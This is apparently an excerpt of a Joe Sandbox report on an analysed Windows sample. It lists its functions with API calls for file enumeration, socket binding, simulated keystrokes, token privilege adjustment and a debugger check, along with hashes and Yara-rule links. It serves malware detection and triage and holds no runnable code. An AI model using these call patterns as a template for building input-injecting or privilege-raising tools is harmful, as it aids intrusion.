Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Window$Rectmouse_event$CursorDesktopForeground
String ID:
API String ID: 2387181109-0
Opcode ID: 103f578ff4b33d422e3adfb41556d9a6fa4604ac5550863ba1fbc09613d81b67
Instruction ID: 145becf000af9f2ce56e784563008f08ec071a5b4c72689c91c9e5543b055c3a
Opcode Fuzzy Hash: 103f578ff4b33d422e3adfb41556d9a6fa4604ac5550863ba1fbc09613d81b67
Instruction Fuzzy Hash: 4731E272508315AFCB20DF18D845F5BBBE9FF86310F000A59F99597191DB74EA08CB96

Function 00B99B2B Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 119filesleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00B29CB3: _wcslen.LIBCMT ref: 00B29CBD

FindFirstFileW.KERNEL32(00000001,?,*.*,?,?,00000000,00000000), ref: 00B99B78
FindClose.KERNEL32(00000000,?,00000000,00000000), ref: 00B99C8B

Part of subcall function 00B93874: GetInputState.USER32 ref: 00B938CB
Part of subcall function 00B93874: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00B93966

Sleep.KERNEL32(0000000A,?,00000000,00000000), ref: 00B99BA8
FindNextFileW.KERNEL32(?,?,?,00000000,00000000), ref: 00B99C75

Strings

*.*, xrefs: 00B99B5D

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Find$File$CloseFirstInputMessageNextPeekSleepState_wcslen
String ID: *.*
API String ID: 1972594611-438819550
Opcode ID: 074d105939c1b8bd457c1d16ad3b9b8c4462fa1cc8adce6bf7841fa0486660fc
Instruction ID: 6ab50fd2982d59f8b15f234bdaa1e319943002bc00e960f7450f3afa4ab5041b
Opcode Fuzzy Hash: 074d105939c1b8bd457c1d16ad3b9b8c4462fa1cc8adce6bf7841fa0486660fc
Instruction Fuzzy Hash: 4F41827190060AAFCF54DF68DC85AEEBBF8EF05310F2441AAE409A3191EB709E44CF60

Function 00B3997D Relevance: 7.9, APIs: 5, Instructions: 375COMMON

Download Yara Rule

APIs

Part of subcall function 00B39BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 00B39BB2

DefDlgProcW.USER32(?,?,?,?,?), ref: 00B39A4E
GetSysColor.USER32(0000000F), ref: 00B39B23
SetBkColor.GDI32(?,00000000), ref: 00B39B36

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Color$LongProcWindow
String ID:
API String ID: 3131106179-0
Opcode ID: 6a3134b8550a89107dc9508b50f81002abd3ce4ff65d96019da0708c041e52d5
Instruction ID: 2e36dc3d6b73a9ac6cf75619cc4cac21bc4f9460d4d56f50ec5f24e055a34baa
Opcode Fuzzy Hash: 6a3134b8550a89107dc9508b50f81002abd3ce4ff65d96019da0708c041e52d5
Instruction Fuzzy Hash: 59A10371248404EFE728AA2D8C99EBB3ADDDB42340F3587C9F122D7695CEA5DD01C272

Function 00BA1806 Relevance: 7.7, APIs: 5, Instructions: 153networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00BA304E: inet_addr.WSOCK32(?,?,?,?,?,00000000), ref: 00BA307A
Part of subcall function 00BA304E: _wcslen.LIBCMT ref: 00BA309B

socket.WSOCK32(00000002,00000002,00000011,?,?,00000000), ref: 00BA185D
WSAGetLastError.WSOCK32 ref: 00BA1884
bind.WSOCK32(00000000,?,00000010), ref: 00BA18DB
WSAGetLastError.WSOCK32 ref: 00BA18E6
closesocket.WSOCK32(00000000), ref: 00BA1915

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: ErrorLast$_wcslenbindclosesocketinet_addrsocket
String ID:
API String ID: 1601658205-0
Opcode ID: 08c615378af04afa33d5e0f3975aaea01a03a26c4371466440cd98c74dd22991
Instruction ID: b7909708365ffe09b1d073135872cf6b16223276e17fe6dd74fa7a2adb05154d
Opcode Fuzzy Hash: 08c615378af04afa33d5e0f3975aaea01a03a26c4371466440cd98c74dd22991
Instruction Fuzzy Hash: 2251B171A00210AFDB10EF24D896F6A7BE5EF49718F148498F9096F383CB75AD418BA1

Function 00BB1C41 Relevance: 7.6, APIs: 5, Instructions: 83windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32 ref: 00BB1CC0
IsWindowEnabled.USER32 ref: 00BB1CCE
GetForegroundWindow.USER32(?,?,00000001,?), ref: 00BB1CDB
IsIconic.USER32 ref: 00BB1CE9
IsZoomed.USER32 ref: 00BB1CF7

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Window$EnabledForegroundIconicVisibleZoomed
String ID:
API String ID: 292994002-0
Opcode ID: a3b9893b494ce4ac21e10447085ab187583436600615374f03a038be69095e86
Instruction ID: e0488cb0408b853640c7af4a38c74a9c3560fe52aa909dff5e197b89d96c0bb1
Opcode Fuzzy Hash: a3b9893b494ce4ac21e10447085ab187583436600615374f03a038be69095e86
Instruction Fuzzy Hash: 002191317402115FD7208F1ED8A4BBA7FE5EF95314B5984A8E84ACB351CBB1ED42CB90

Function 00B8AA57 Relevance: 6.1, APIs: 4, Instructions: 107keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,00000001,00000040,00000000), ref: 00B8AAAC
SetKeyboardState.USER32(00000080), ref: 00B8AAC8
PostMessageW.USER32(?,00000102,00000001,00000001), ref: 00B8AB36
SendInput.USER32(00000001,?,0000001C,00000001,00000040,00000000), ref: 00B8AB88

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: 241cf957108e22e64ac6f8f21a157ce8d70560e6db44ffd76154f677bd5ba310
Instruction ID: 1cfc0ac1b256fdf74183ac3fc12fa4681c7921940844f7c6a645dff65e0b7896
Opcode Fuzzy Hash: 241cf957108e22e64ac6f8f21a157ce8d70560e6db44ffd76154f677bd5ba310
Instruction Fuzzy Hash: 9131F430A40248AFFF35EA64CC45BFA7BE6EB44320F08429BF581965F1D7B58985C762

Function 00B5BB6F Relevance: 6.1, APIs: 4, Instructions: 90timeCOMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00B5BB7F

Part of subcall function 00B529C8: HeapFree.KERNEL32(00000000,00000000,?,00B5D7D1,00000000,00000000,00000000,00000000,?,00B5D7F8,00000000,00000007,00000000,?,00B5DBF5,00000000), ref: 00B529DE
Part of subcall function 00B529C8: GetLastError.KERNEL32(00000000,?,00B5D7D1,00000000,00000000,00000000,00000000,?,00B5D7F8,00000000,00000007,00000000,?,00B5DBF5,00000000,00000000), ref: 00B529F0

GetTimeZoneInformation.KERNEL32 ref: 00B5BB91
WideCharToMultiByte.KERNEL32(00000000,?,00BF121C,000000FF,?,0000003F,?,?), ref: 00B5BC09
WideCharToMultiByte.KERNEL32(00000000,?,00BF1270,000000FF,?,0000003F,?,?,?,00BF121C,000000FF,?,0000003F,?,?), ref: 00B5BC36

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorFreeHeapInformationLastTimeZone_free
String ID:
API String ID: 806657224-0
Opcode ID: 05a1a6d9ecd590cbefd2bcedd3f1900225056b43aa74cf8afd9df2bc5b7fceb2
Instruction ID: 8eb74447601060a4b56681a8e89278d5d060423f4d46ab4bc32d7a2a98242883
Opcode Fuzzy Hash: 05a1a6d9ecd590cbefd2bcedd3f1900225056b43aa74cf8afd9df2bc5b7fceb2
Instruction Fuzzy Hash: 23319C71904205DFCB15DFAD9C80E79BBF8FF463117144AEAE860E72A1DB709908CB54

Function 00B95C97 Relevance: 4.6, APIs: 3, Instructions: 138fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 00B95CC1
FindNextFileW.KERNEL32(00000000,?), ref: 00B95D17
FindClose.KERNEL32(?), ref: 00B95D5F

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Find$File$CloseFirstNext
String ID:
API String ID: 3541575487-0
Opcode ID: d557f3cf928ab3c4681cc19abfc1b4deccaa038dc8a96d54d4eb70822ed0ba6d
Instruction ID: aef65df147c1709c65de8eff1fff73564daeca332929a47b9ed01bcb8f13bb8d
Opcode Fuzzy Hash: d557f3cf928ab3c4681cc19abfc1b4deccaa038dc8a96d54d4eb70822ed0ba6d
Instruction Fuzzy Hash: 31518D746046019FCB25DF28D494E9ABBE4FF49314F1485ADE95A8B3A2CB30ED44CB91

Function 00B52622 Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 00B5271A
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00B52724
UnhandledExceptionFilter.KERNEL32(?), ref: 00B52731

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 394cf28a76a4cac85ce468dcfd11f676e0cd83530bc7a32cca06ffd781a6befe
Instruction ID: 7e26614a8c0b0db33cfe03ed89e00ae243fa11512b0494eea1772330d4755477
Opcode Fuzzy Hash: 394cf28a76a4cac85ce468dcfd11f676e0cd83530bc7a32cca06ffd781a6befe
Instruction Fuzzy Hash: D731B7759112189BCB21DF64DC8979DBBF8EF08310F5041EAE81CA7261EB709F859F45

Function 00B951CD Relevance: 4.6, APIs: 3, Instructions: 76COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00B951DA
GetDiskFreeSpaceExW.KERNEL32(?,?,?,?), ref: 00B95238
SetErrorMode.KERNEL32(00000000), ref: 00B952A1

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: ErrorMode$DiskFreeSpace
String ID:
API String ID: 1682464887-0
Opcode ID: c2bf7e4574dc48f28c3f09996bfd39060157086e8fee3f2ec2e616d60a9c64f3
Instruction ID: 29d3d6aff6559538fc7f91906c3c0822067f647b8bbd3744e364db84b81ff020
Opcode Fuzzy Hash: c2bf7e4574dc48f28c3f09996bfd39060157086e8fee3f2ec2e616d60a9c64f3
Instruction Fuzzy Hash: 65313E75A00518DFDB00DF54D894EADBBF4FF49314F0880A9E809AB3A2DB71E855CB91

Function 00B816C3 Relevance: 4.6, APIs: 3, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 00B3FDDB: __CxxThrowException@8.LIBVCRUNTIME ref: 00B40668
Part of subcall function 00B3FDDB: __CxxThrowException@8.LIBVCRUNTIME ref: 00B40685

LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00B8170D
AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00B8173A
GetLastError.KERNEL32 ref: 00B8174A

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Exception@8Throw$AdjustErrorLastLookupPrivilegePrivilegesTokenValue
String ID:
API String ID: 577356006-0
Opcode ID: 2ddd31897332ae326e25b1ca5aec6b6a200274e2d29197ebf9c717f7b547f228
Instruction ID: f247bf0d1bf7e21509c4f1e7ac3653c795d538e53f44c1cd1de34facd00b1c52
Opcode Fuzzy Hash: 2ddd31897332ae326e25b1ca5aec6b6a200274e2d29197ebf9c717f7b547f228
Instruction Fuzzy Hash: 6C118CB2904205AFD718AF58DC8AD6ABBFDEB44714B20856EF05657251EB70BC42CB24

Function 00B8D5EB Relevance: 4.6, APIs: 3, Instructions: 58fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,00000080,00000003,00000000,00000003,00000080,00000000), ref: 00B8D608
DeviceIoControl.KERNEL32(00000000,002D1400,?,0000000C,?,00000028,?,00000000), ref: 00B8D645
CloseHandle.KERNEL32(?,?,00000080,00000003,00000000,00000003,00000080,00000000), ref: 00B8D650

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: CloseControlCreateDeviceFileHandle
String ID:
API String ID: 33631002-0
Opcode ID: e95e6d8b37aa3b6e863b5d6a9f247cd8b983ffe6867094c36c71c0cc44391f68
Instruction ID: 502c5f747e956470dd4cfd0260eb6d841e52439e36b910b22a27fcbc3b811db8
Opcode Fuzzy Hash: e95e6d8b37aa3b6e863b5d6a9f247cd8b983ffe6867094c36c71c0cc44391f68
Instruction Fuzzy Hash: 1A113C75E05228BBDB109F99EC45FAFBFBCEB45B50F108166F904E7290D6B04A058BA1

Function 00B81663 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 00B8168C
CheckTokenMembership.ADVAPI32(00000000,?,?), ref: 00B816A1
FreeSid.ADVAPI32(?), ref: 00B816B1

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID:
API String ID: 3429775523-0
Opcode ID: 1725947790b02b37390af36b18dcb454e0b5e593dddffc5fd43b3bba02390955
Instruction ID: ad8001445ee8b1a6215a5b30da605d510c4be5fb9912a69fdf9e6e8c7de12df1
Opcode Fuzzy Hash: 1725947790b02b37390af36b18dcb454e0b5e593dddffc5fd43b3bba02390955
Instruction Fuzzy Hash: FCF0F471950309FBDB00EFE4DC89AAEBBBCFB08604F5049A5E501E2191E774AA448B60

Function 00B7D27A Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,?), ref: 00B7D28C

Strings

X64, xrefs: 00B7D2A8

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: NameUser
String ID: X64
API String ID: 2645101109-893830106
Opcode ID: 76efa0f106199213679e380cf974c6e14ff2cc35bfcfd0b58a2ab3840650896f
Instruction ID: ee634224b830b4dce074605121a34bf98f791ff2f8f9cb334518611d3f560f6b
Opcode Fuzzy Hash: 76efa0f106199213679e380cf974c6e14ff2cc35bfcfd0b58a2ab3840650896f
Instruction Fuzzy Hash: 5DD0CAB480512DEBCB94DBA0ECC8DDEB7BCBB04345F204292F50AA2000DB7096498F20

Function 00B968EE Relevance: 3.1, APIs: 2, Instructions: 57fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 00B96918
FindClose.KERNEL32(00000000), ref: 00B96961

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 4070b6b62afd33d033e3e06c5b7c0de8e333adf040a6c9a9350143032e06bcc9
Instruction ID: 99e1ad7eed6ac3945cae4ec417694071e5ec7c98ba7b4a398123ceaaac890eae
Opcode Fuzzy Hash: 4070b6b62afd33d033e3e06c5b7c0de8e333adf040a6c9a9350143032e06bcc9
Instruction Fuzzy Hash: F21193316042109FCB10DF29D484A16BBE5FF89328F14C6A9E4698F6A2CB30EC05CB91

Function 00B937B5 Relevance: 3.0, APIs: 2, Instructions: 33windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,?,00000FFF,00000000,?,?,?,00BA4891,?,?,00000035,?), ref: 00B937E4
FormatMessageW.KERNEL32(00001000,00000000,?,00000000,?,00000FFF,00000000,?,?,?,00BA4891,?,?,00000035,?), ref: 00B937F4

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: 6cc96c68236aa614fd09e10a28040d81938d6fdfa5f492e52ff7603385105b4f
Instruction ID: 855f70efa21cae6a04656784b38bbe7c7fb3b6f152b2ff43214ebd4921b05678
Opcode Fuzzy Hash: 6cc96c68236aa614fd09e10a28040d81938d6fdfa5f492e52ff7603385105b4f
Instruction Fuzzy Hash: 10F0E5B06042286BEB2057A69C4DFEB3EEEEFC4B61F0002B5F509D3291D9A09D44C6B1

Function 00B8B226 Relevance: 3.0, APIs: 2, Instructions: 29keyboardCOMMON

Download Yara Rule

APIs

SendInput.USER32(00000001,?,0000001C,?,?,00000002), ref: 00B8B25D
keybd_event.USER32(?,75C0C0D0,?,00000000), ref: 00B8B270

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: InputSendkeybd_event
String ID:
API String ID: 3536248340-0
Opcode ID: dbca1398d060df2b2b3c60c5c4331884c447bab56832b8f288727804a7e60472
Instruction ID: 18667a4040eb079b1fea5852739119c3652a740259193e685f950683ffd55d94
Opcode Fuzzy Hash: dbca1398d060df2b2b3c60c5c4331884c447bab56832b8f288727804a7e60472
Instruction Fuzzy Hash: 82F01D7180424DABDB15DFA5C806BEE7FB4FF04305F008059F965A61A1C7799611DF94

Function 00B810BF Relevance: 3.0, APIs: 2, Instructions: 24COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00B811FC), ref: 00B810D4
CloseHandle.KERNEL32(?,?,00B811FC), ref: 00B810E9

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: AdjustCloseHandlePrivilegesToken
String ID:
API String ID: 81990902-0
Opcode ID: 5abbc35fd3aefc4cd36f59741610bfa37b988ba0dd49214bb6d04f946f6e5570
Instruction ID: 9924b1defda22a253c9d23548c043d6e376ef4bcf5629701aaf2f3ada9fd59eb
Opcode Fuzzy Hash: 5abbc35fd3aefc4cd36f59741610bfa37b988ba0dd49214bb6d04f946f6e5570
Instruction Fuzzy Hash: 8EE04F32408611AFE7256B11FC09E737BE9EB04310F20896DF4A5814B1DBA2AC90DB14

